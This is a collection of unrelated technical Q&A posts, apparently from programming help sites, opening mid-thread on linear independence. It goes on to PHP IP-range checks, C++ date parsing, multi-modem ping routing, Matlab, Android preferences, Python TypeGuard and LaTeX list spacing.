A: A set $S$ of vectors is linearly independent if there is no finite, non-trivial linear combination of them that equals zero. You can also think of this as $S$ is linearly independent if and only if every finite subset of $S$ is linearly independent.
So to start proving this, you would take
$$ \sum_{i = 0}^n a_ie^{ix_it} = 0 $$
where you assume that for each $i$, $a_i \ne 0$ and arrive at a contradiction.

Note: the reason why we work with finite sums is because infinite sums do not make sense in general. You need some sort of topology that allows you to take limits. There are notions of linear independence that use countable sums (series) but unless you are told this explicitly, you can expect that linear-independence is a statement about finite sums.


text:
Q: Best way check if one IP is in any range within a large array of ip ranges (PHP) I have a large number (1,000 or more) of IP ranges. I need to check each site visitor's IP against the various ranges.
My plan right now is to store the ranges as a single two-dimensional array, like such:
<?php $IP_ranges = array
     (
     array("low_ip ","high_ip "),
     array("low_ip ","high_ip "),
     array("low_ip ","high_ip "),
     //etc
     ); ?>

So the first array might be 100.00.00.1 to 100.00.00.90.
Then I'd check if an IP is in any of the ranges by iterating through the array with a foreach loop, converting the IPs to numbers using ip2long(), and then check if the user's IP is in the range doing something like this:
if ($ip <= $high_ip && $low_ip <= $ip) {
   return true;
}

My question is if this is the most efficient way of checking if a given ip is in any of the stored ranges?
I'll have to do this once per visitor on a public site. It's not super high-traffic but I don't want to use up unnecessary resources.


text:
Q: Leer fecha de un fichero Quiero leer una fecha de un fichero de la siguiente forma:
por ejemplo
void Store::leerUsuarios(const string &nombreFichero){
 ifstream fichero;
 fichero.open(nombreFichero);
 if (fichero.is_open()) {
    string nom, mail;
    int dia; int mes; int anyo;

    while ((fichero >> nombre) && (fichero >> mail) && (fichero >> dia) &&
    (fichero >> mes) && (fichero >> anyo)) {
        fichero >> nombre;
        fichero >> mail;
        fichero >> dia;
        fichero >> mes;
        fichero >> anyo;
         }
    fichero.close();
     }
 }

con fstream en un fichero lo va separando por espacios, pero si tengo una fecha por ejemplo:
01/01/2000

¿Cómo hago para que me pueda leer eso?

A: Si asumimos que la fecha va a estar bien escrita, la lectura puede quedar bastante sencilla:
ifstream fichero;
// abre el fichero..

int dia, int mes, int anio;
fichero >> dia;
fichero.ignore(); // Descartamos la primera barra
fichero >> mes;
fichero.ignore(); // Descartamos la segunda barra
fichero >> anio;

Podemos ahorrarnos el ignore si usamos una variable tipo char:
int dia, int mes, int anio;
char separador;

fichero >> dia >> separador >> mes >> separador >> anio;


text:
Q: Ping same server with different interfaces using different ports In my SoC imx6 I have two 4G modems using two different operators. I would like to give a score to each one so I can detect the best interface for my critical application.
I decide to use a small application that can make a ping to a server via a specific port:
$ ./tcpclienttimeout --host google.com --port 80
hotsname:google.com:80 timeout:10s
socket google.com:80 connected. It took 23 milliseconds
23

I would like to target the same server but with two different ports (let's say port 5000 and 5001) to get the latency for each modem.
here is a schematic that describes what I need:

I was thinking to use ip route add but we can specify just the servers and interfaces, not the port.
Now I think that the solution will be using iptables (wich I don't understand at all)
thank you for your help.


text:
Q: Different values in Matlab I'm trying to understand the cosinor analysis in Matlab.
http://www.mathworks.com/matlabcentral/fileexchange/20329-cosinor-analysis/content/html/cosinor.html
I'm not understanding the find() function, actually this line: IND = find(real(beta_s1) ~= real(beta_s2));
Can someone tell me why Matlab considers these values equal?
4.4115 + 2.0221i
4.4115 - 2.0221i
Thanks


text:
Q: Android + Preferences I have a preferences.xml and Settings.java... In the onCreate method I want to set the summary of the preferences... Could someone guide me what is the best way to do it???
What I know is that one way of doing is
activityName_text = (EditTextPreference) findPreference("activityName");
    activityName_text.setSummary(activityName_text.getText());

but for each key if I follow the above pattern I feel that the code will be bad...
Preferences.xml:

    <PreferenceScreen android:title="Header" >
        <EditTextPreference
            android:defaultValue="TestRequest"
            android:key="activityName"
            android:title="activityName" />
        <EditTextPreference
            android:defaultValue="Request"
            android:key="msgName"
            android:title="msgName" />

        <ListPreference
            android:defaultValue="0"
            android:entries="@array/msg_type"
            android:entryValues="@array/msg_type_values"
            android:key="msgType"
            android:title="msgType" />

        <EditTextPreference
            android:defaultValue="AA"
            android:key="senderURI"
            android:title="senderURI" />
        <EditTextPreference
            android:defaultValue="BB"
            android:key="destinationURI"
            android:title="destinationURI" />
        <EditTextPreference
            android:defaultValue="AA"
            android:key="replyToURI"
            android:title="replyToURI" />
        <EditTextPreference
            android:defaultValue="BB"
            android:key="originatorURI"
            android:title="originatorURI" />
        <EditTextPreference
            android:defaultValue="FF"
            android:key="failureReplytoURI"
            android:title="failureReplytoURI" />
        <EditTextPreference
            android:defaultValue="AA"
            android:key="correlationId"
            android:title="correlationId" />
        <EditTextPreference
            android:defaultValue="HH"
            android:key="security"
            android:title="security" />
        <EditTextPreference
            android:defaultValue="GG"
            android:key="securityType"
            android:title="securityType" />
        <EditTextPreference
            android:defaultValue="HH"
            android:key="priority"
            android:title="priority" />

        <ListPreference
            android:defaultValue="0"
            android:entries="@array/communicationPattern"
            android:entryValues="@array/communicationPatternValues"
            android:key="communicationPattern"
            android:title="communicationPattern" />
        <ListPreference
            android:defaultValue="0"
            android:entries="@array/communicationStyle"
            android:entryValues="@array/communicationStyleValues"
            android:key="communicationStyle"
            android:title="communicationStyle" />

        <EditTextPreference
            android:defaultValue="100"
            android:digits="0123456789"
            android:key="requestedBatchSize"
            android:title="requestedBatchSize" />
        <!-- radhika-number format -->
        <EditTextPreference
            android:defaultValue="78"
            android:digits="0123456789"
            android:key="batchSequenceNumber"
            android:title="batchSequenceNumber" />

        <ListPreference
            android:defaultValue="0"
            android:entries="@array/batchSequenceEndOfReply"
            android:entryValues="@array/batchSequenceEndOfReplyValues"
            android:key="batchSequenceEndOfReply"
            android:title="batchSequenceEndOfReply" />

        <EditTextPreference
            android:defaultValue="HH"
            android:key="iteratorReferenceURI"
            android:title="iteratorReferenceURI" />
        <EditTextPreference
            android:defaultValue="KK"
            android:key="fileLocationURI"
            android:title="fileLocationURI" />
        <EditTextPreference
            android:defaultValue="10/10/2010"
            android:key="timestamp"
            android:title="timestamp" />
        <EditTextPreference
            android:defaultValue="kkk"
            android:key="vendorExtensions"
            android:title="vendorExtensions" />

        <PreferenceCategory
            android:key="activityStatus"
            android:title="activityStatus" >
            <ListPreference
                android:defaultValue="0"
                android:entries="@array/activityStatusType"
                android:entryValues="@array/activityStatusTypeValues"
                android:key="actStatus"
                android:title="activityStatus" />

            <EditTextPreference
                android:defaultValue="AA"
                android:key="qualifier"
                android:title="qualifier" />
        </PreferenceCategory>

        <PreferenceCategory
            android:key="msgSpecificProperties"
            android:title="msgSpecificProperties" >
            <EditTextPreference
                android:defaultValue="multiple values"
                android:key="propName"
                android:title="propName" />
            <EditTextPreference
                android:defaultValue="multiple values"
                android:key="propValue"
                android:title="propValue" />
        </PreferenceCategory>
        <PreferenceCategory
            android:key="compressionType"
            android:title="compressionType" >
            <EditTextPreference
                android:defaultValue="kkk"
                android:key="compressionTypeAttr"
                android:title="extension" />

            <ListPreference
                android:defaultValue="0"
                android:entries="@array/compressionType"
                android:entryValues="@array/compressionTypeValues"
                android:key="compressionTypeValue"
                android:title="value" />
        </PreferenceCategory>
        <PreferenceCategory
            android:key="packingType"
            android:title="packingType" >
            <EditTextPreference
                android:defaultValue="kkk"
                android:key="packingTypeAttr"
                android:title="extension" />

            <ListPreference
                android:defaultValue="0"
                android:entries="@array/packingType"
                android:entryValues="@array/packingTypeValues"
                android:key="packingTypeValue"
                android:title="value" />
        </PreferenceCategory>
    </PreferenceScreen>
    <PreferenceScreen android:title="Body" >
        <PreferenceScreen android:title="Managed Elements" >
            <PreferenceCategory
                android:key="mdOrMlsnRef"
                android:title="md Or Mlsn Ref" >
                <EditTextPreference
                    android:defaultValue="Name"
                    android:key="rdnName"
                    android:title="rdnName" />
                <EditTextPreference
                    android:defaultValue="Value"
                    android:key="rdnValue"
                    android:title="rdnValue" />
            </PreferenceCategory>
        </PreferenceScreen>
        <PreferenceScreen android:title="Active Alarms" >
        </PreferenceScreen>
    </PreferenceScreen>
</PreferenceScreen>

Settings.java:
package com.example.settingstest;

import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
import android.os.Bundle;
import android.preference.EditTextPreference;
import android.preference.ListPreference;
import android.preference.Preference;
import android.preference.PreferenceActivity;

public class Settings extends PreferenceActivity implements OnSharedPreferenceChangeListener {

    EditTextPreference activityName_text;
    EditTextPreference msgName_text;

    @SuppressWarnings("deprecation")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        addPreferencesFromResource(R.xml.preferences);
    }

    @Override
    protected void onResume() {
        super.onResume();
        getPreferenceScreen().getSharedPreferences()
        .registerOnSharedPreferenceChangeListener(this);
    }

    @Override protected void onPause() {
        super.onPause();
        getPreferenceScreen().getSharedPreferences()
        .unregisterOnSharedPreferenceChangeListener(this);
    }

    public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {

        Preference p = findPreference(key);
        if(p instanceof EditTextPreference)
        {
            p.setSummary(sharedPreferences.getString(key, (String)p.getSummary()));
        }
        else if(p instanceof ListPreference)
        {
            p.setSummary((String)((ListPreference) p).getEntry());
        }
    }
}

A: Use like this its always better to set summary from prefrence.xml, I am giving one example I am using this code and its working perfectly
<PreferenceCategory
        android:key="dbh_social"
        android:title="We know you are social" >
    <Preference
            android:key="dbh_invite"
            android:summary="Invite your friends"
            android:title="Invite Facebook Friends" />
    <Preference
            android:key="dbh_wall_post"
            android:summary="Post about us on your Facebook wall "
            android:title="Post on Facebook Wall" />
    </PreferenceCategory>

A: You can put all your keys into a string-array resource and iterate over it on onCreate()
final String[] keys = getResources().getStringArray(R.array.keys) ; // all your keys here
SharedPreferences p = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());

for (int i = 0; i < keys.length; i++) {
    setPreferenceSummary(p, keys[i]);
}

private void setPreferenceSummary(SharedPreferences sharedPreferences, String key) {
    final Preference p = findPreference(key);
    if(p instanceof EditTextPreference)
    {
        p.setSummary(sharedPreferences.getString(key, (String)p.getSummary()));
    }
    else if(p instanceof ListPreference)
    {
        p.setSummary((String)((ListPreference) p).getEntry());
    }
}

public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
    setPreferenceSummary(sharedPreferences, key);
}


text:
Q: Asserting a variable has certain properties if it passes certain tests Using the python typing system, I sometimes know the type of a variable or an expression because I have installed runtime checking to verify it.  Is there a way to denote this with annotations?
For example, suppose I have a function combop which returns True if its argument is of class Combination.   And further suppose that the class Combination has a field called tds.
if combop(x):
   return f(x.tds)
else:
   return f([])

In this example, I'd like to promise the checker that within the then part of the if, that x has type Combination, and x.tds makes sense.
An example of such a situation is line 172 of here python-rte.  The IDE complains about d.tds and also n.s.  I am supposing that there is a way to explain my intentions with type annotations, and the IDE would accept or verify my claim if possible.
The way this is done in some functional languages (e.g. Scala) is with pattern matching.  Within a clause of a pattern match the type inferencer is able to restrict the type of certain variables.  In some other languages (e.g. Common Lisp) there is a declare syntax which allows the programmer to give hints to the type inferencer which may or may not contribute a run-time overhead, depending on compiler settings.

A: Python 3.10 will introduce the new TypeGuard feature, which might provide you with what you're looking for. (The feature is also available through the typing_extensions module for Python <= 3.9.) A TypeGuard allows you to assert to the type-checker that an object is of a certain type. So, you could write a function like this:
from typing import TypeGuard, Any

def combop(obj: Any) -> TypeGuard[Combination]:
    # Some code that returns `True` if the object is of type `Combination`, else `False`.

If you're more interested in the properties of your object (the "structural type" as opposed to the "nominal type" of your object), then you could use a TypeGuard to assert that your object conforms to a certain protocol.
from typing import Protocol, TypeGuard, Any

class CombinationsProto(Protocol):
    tds: list[Any]

def combops(obj: Any) -> TypeGuard[CombinationsProto]:
    # Some code here that returns `True` if the object has a `tds` attribute, else `False`.

As this is a new feature in the python-typing world, Python's major type-checkers are still working on support for this feature, especially with respect to some complex corner cases.

A: import typing

class Foo:
    def __init__(self) -> None:
        self.bar = "zebra"  # will be of 'str' type

def give_me_something():  # no annotation here, can't tell what gets returned
    if dict():  # an empty dict is always False, this is just an example, a real condition could be used
        return []
    else:
        return Foo()

reveal_type(give_me_something())
reveal_type(typing.cast(Foo, give_me_something()))

$ mypy so69205255.py
so69205255.py:16: note: Revealed type is "Any"
so69205255.py:17: note: Revealed type is "so69205255.Foo"

I used MyPy to reproducibly check, but my IDE PyCharm also understands it : when I hover the variable name I assigned the expression to, it says that the first one is of type Union[list, Foo] while the second is of type Foo.
More info : see the docs


text:
Q: How to adjust inparaenum-list (in particular line spacing)? I really like the idea of working with inparaenum. It creates nice lists of numerated and tabbed math exercises. But how do I add line pitch option to this special paralist? I want to create more vertical between the two lines of exercises (a,b,c) and (d,e,f,).
\documentclass[15pt, a4paper]{scrartcl}

\usepackage{amsmath,amssymb,stmaryrd}
\usepackage{enumitem}
\usepackage{enumerate}
\usepackage{tabto}
\usepackage{paralist}

\begin{document}
\begin{enumerate}[1.)]
\item \textbf{Finit limits}: Calculate the following!

\NumTabs{3}
\begin{inparaenum}[a)]
\item $\lim_{x \to -2} (x^2 + 5x) $
\tab \item $\lim_{x \to 0} (x^2 + 3x - 4)$
\tab \item $\lim_{x \to 2} (2x^2 + 5)^3  $
\tab \item $\lim_{x \to 0} \dfrac{x^2 - 2x -1}{x^5 - x^2 - 1 }$
\tab \item $\lim_{x \to 4} \dfrac{2x^{\frac{3}{2}} - \sqrt{x}}{x^2 - 15}$
\tab \item $\lim_{x \to a} A x^n$
\end{inparaenum}

\end{document}

Thank you :)
First modification
\begin{document}
\begin{enumerate}[1.)]
\item \textbf{Finit limits}: Calculate the following!

\NumTabs{3}
\begin{inparaenum}[a)]
\baselineskip2.5\baselineskip
\item $\lim_{x \to -2} (x^2 + 5x) $
\tab \item $\lim_{x \to 0} (x^2 + 3x - 4)$
\tab \item $\lim_{x \to 2} (2x^2 + 5)^3  $
\tab \item $\lim_{x \to 0} \dfrac{x^2 - 2x -1}{x^5 - x^2 - 1 }$
\tab \item $\lim_{x \to 4} \dfrac{2x^{\frac{3}{2}} - \sqrt{x}}{x^2 - 15}$
\tab \item $\lim_{x \to a} A x^n$
\end{inparaenum}

\end{document}

Using \baselineskip2.5\baselineskip moves my equation-lines. But this yields too much distance above the equation (best would be only distance between equations) and it somehow freaks out on the exercise f).

A: This is an all-in-one solution using tasks. Time to use modern packages. I have defined two environments for clarity.
\documentclass[12pt, a4paper]{scrartcl}

\usepackage{amsmath,amssymb,stmaryrd}
\usepackage{enumitem}

\newlist{que}{enumerate}{1}
\setlist[que,1]{label=\arabic*.),ref=\arabic*.)}

\usepackage[more]{tasks}

\NewTasks[style=enumerate,counter-format=tsk[a]),label-width=1em,item-indent = 0.5em,column-sep =2em]{exer}[\exercise](3)

\begin{document}
\begin{que}
\item  \textbf{Finit limits}: Calculate the following\par
\begin{exer}
\exercise $\lim_{x \to -2} (x^2 + 5x) $
\exercise $\lim_{x \to 0} (x^2 + 3x - 4)$
\exercise $\lim_{x \to 2} (2x^2 + 5)^3  $
\exercise $\lim_{x \to 0} \dfrac{x^2 - 2x -1}{x^5 - x^2 - 1 }$
\exercise $\lim_{x \to 4} \dfrac{2x^{\frac{3}{2}} - \sqrt{x}}{x^2 - 15}$
\exercise $\lim_{x \to a} A x^n$
\end{exer}
\end{que}

\end{document}

Here you can use after-item-skip = key to adjust the skip between rows. The default value is 1ex plus 1ex minus 1ex.

A: What about this? I added some vertical spacing at the beginning of inparaenum, with the etoolbox package. Don't forget a blank line:
\documentclass[15pt, a4paper]{scrartcl}

\usepackage{amsmath,amssymb,stmaryrd}
%\usepackage[shortlabels, inline]{enumitem}%usepackage{enumerate}
\usepackage{tabto}
\usepackage{paralist}
\usepackage{setspace}
\usepackage{etoolbox}
\AtBeginEnvironment{inparaenum}{\addtolength{\baselineskip}{2ex}\vspace*{-2ex}}

\AtEndEnvironment{inparaenum}{\par}

\begin{document}

\begin{enumerate}[1.)]
\item \textbf{Finite limits}: Calculate the following!

\NumTabs{3}
\begin{inparaenum}[a)]
\item $\lim_{x \to -2} (x^2 + 5x) $
\tab \item $\lim_{x \to 0} (x^2 + 3x - 4)$
\tab \item $\lim_{x \to 2} (2x^2 + 5)^3 $
\tab \item $\lim_{x \to 0} \dfrac{x^2 - 2x -1}{x^5 - x^2 - 1 }$
\tab \item $\lim_{x \to 4} \dfrac{2x^{\frac{3}{2}} - \sqrt{x}}{x^2 - 15}$
\tab \item $\lim_{x \to a} A x^n$%\tab
\end{inparaenum}

\item\textbf{Infinite limits}: Calculate the following!
\end{enumerate}

\end{document}